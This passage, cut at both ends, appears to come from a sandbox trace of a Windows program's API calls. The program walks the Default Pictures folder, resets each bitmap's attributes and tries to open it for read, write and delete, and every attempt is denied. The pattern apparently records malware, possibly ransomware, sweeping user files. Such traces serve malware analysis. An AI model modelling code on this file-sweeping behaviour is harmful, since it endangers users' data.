(lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp", dwFileAttributes=0x20) returned 0 [0151.512] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.513] GetLastError () returned 0x5 [0151.513] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp", dwFileAttributes=0x20) returned 0 [0151.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.513] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0151.513] wcscmp (_String1="usertile22.bmp", _String2=".") returned 1 [0151.513] wcscmp (_String1="usertile22.bmp", _String2="..") returned 1 [0151.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.513] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.513] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.513] wcscat (in: _Dest=0x202ad3f0, _Source="usertile22.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" [0151.513] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp")) returned 0x20 [0151.513] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp", dwFileAttributes=0x20) returned 0 [0151.513] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.514] GetLastError () returned 0x5 [0151.514] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp", dwFileAttributes=0x20) returned 0 [0151.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.514] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0151.514] wcscmp (_String1="usertile23.bmp", _String2=".") returned 1 [0151.514] wcscmp (_String1="usertile23.bmp", _String2="..") returned 1 [0151.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.514] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.514] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.514] wcscat (in: _Dest=0x202ad3f0, _Source="usertile23.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" [0151.515] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp")) returned 0x20 [0151.515] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp", dwFileAttributes=0x20) returned 0 [0151.515] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.515] GetLastError () returned 0x5 [0151.515] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp", dwFileAttributes=0x20) returned 0 [0151.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.515] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0151.515] wcscmp (_String1="usertile24.bmp", _String2=".") returned 1 [0151.515] wcscmp (_String1="usertile24.bmp", _String2="..") returned 1 [0151.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.515] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.515] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.516] wcscat (in: _Dest=0x202ad3f0, _Source="usertile24.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" [0151.516] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp")) returned 0x20 [0151.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp", dwFileAttributes=0x20) returned 0 [0151.516] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.516] GetLastError () returned 0x5 [0151.516] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp", dwFileAttributes=0x20) returned 0 [0151.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.516] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0151.516] wcscmp (_String1="usertile25.bmp", _String2=".") returned 1 [0151.516] wcscmp (_String1="usertile25.bmp", _String2="..") returned 1 [0151.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.517] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.517] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.517] wcscat (in: _Dest=0x202ad3f0, _Source="usertile25.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" [0151.517] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp")) returned 0x20 [0151.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp", dwFileAttributes=0x20) returned 0 [0151.517] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.517] GetLastError () returned 0x5 [0151.517] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp", dwFileAttributes=0x20) returned 0 [0151.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.518] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0151.518] wcscmp (_String1="usertile26.bmp", _String2=".") returned 1 [0151.518] wcscmp (_String1="usertile26.bmp", _String2="..") returned 1 [0151.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.518] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.518] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.518] wcscat (in: _Dest=0x202ad3f0, _Source="usertile26.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" [0151.518] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp")) returned 0x20 [0151.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp", dwFileAttributes=0x20) returned 0 [0151.518] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.519] GetLastError () returned 0x5 [0151.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp", dwFileAttributes=0x20) returned 0 [0151.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.519] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0151.519] wcscmp (_String1="usertile27.bmp", _String2=".") returned 1 [0151.519] wcscmp (_String1="usertile27.bmp", _String2="..") returned 1 [0151.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.519] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.519] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.519] wcscat (in: _Dest=0x202ad3f0, _Source="usertile27.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" [0151.519] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp")) returned 0x20 [0151.519] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp", dwFileAttributes=0x20) returned 0 [0151.520] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.520] GetLastError () returned 0x5 [0151.520] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp", dwFileAttributes=0x20) returned 0 [0151.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.520] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0151.520] wcscmp (_String1="usertile28.bmp", _String2=".") returned 1 [0151.520] wcscmp (_String1="usertile28.bmp", _String2="..") returned 1 [0151.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.520] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.520] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.520] wcscat (in: _Dest=0x202ad3f0, _Source="usertile28.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" [0151.520] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp")) returned 0x20 [0151.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp", dwFileAttributes=0x20) returned 0 [0151.521] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.521] GetLastError () returned 0x5 [0151.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp", dwFileAttributes=0x20) returned 0 [0151.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.521] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0151.521] wcscmp (_String1="usertile29.bmp", _String2=".") returned 1 [0151.521] wcscmp (_String1="usertile29.bmp", _String2="..") returned 1 [0151.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.521] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.521] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.521] wcscat (in: _Dest=0x202ad3f0, _Source="usertile29.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" [0151.522] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp")) returned 0x20 [0151.522] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp", dwFileAttributes=0x20) returned 0 [0151.522] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.522] GetLastError () returned 0x5 [0151.522] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp", dwFileAttributes=0x20) returned 0 [0151.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.522] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0151.522] wcscmp (_String1="usertile30.bmp", _String2=".") returned 1 [0151.522] wcscmp (_String1="usertile30.bmp", _String2="..") returned 1 [0151.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.522] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.522] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.523] wcscat (in: _Dest=0x202ad3f0, _Source="usertile30.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" [0151.523] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp")) returned 0x20 [0151.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp", dwFileAttributes=0x20) returned 0 [0151.523] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.523] GetLastError () returned 0x5 [0151.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp", dwFileAttributes=0x20) returned 0 [0151.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.523] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0151.523] wcscmp (_String1="usertile31.bmp", _String2=".") returned 1 [0151.523] wcscmp (_String1="usertile31.bmp", _String2="..") returned 1 [0151.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad3f0 [0151.524] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0151.524] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\" [0151.524] wcscat (in: _Dest=0x202ad3f0, _Source="usertile31.bmp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" [0151.524] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp")) returned 0x20 [0151.524] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp", dwFileAttributes=0x20) returned 0 [0151.524] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.524] GetLastError () returned 0x5 [0151.524] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp", dwFileAttributes=0x20) returned 0 [0151.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0151.524] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x20, 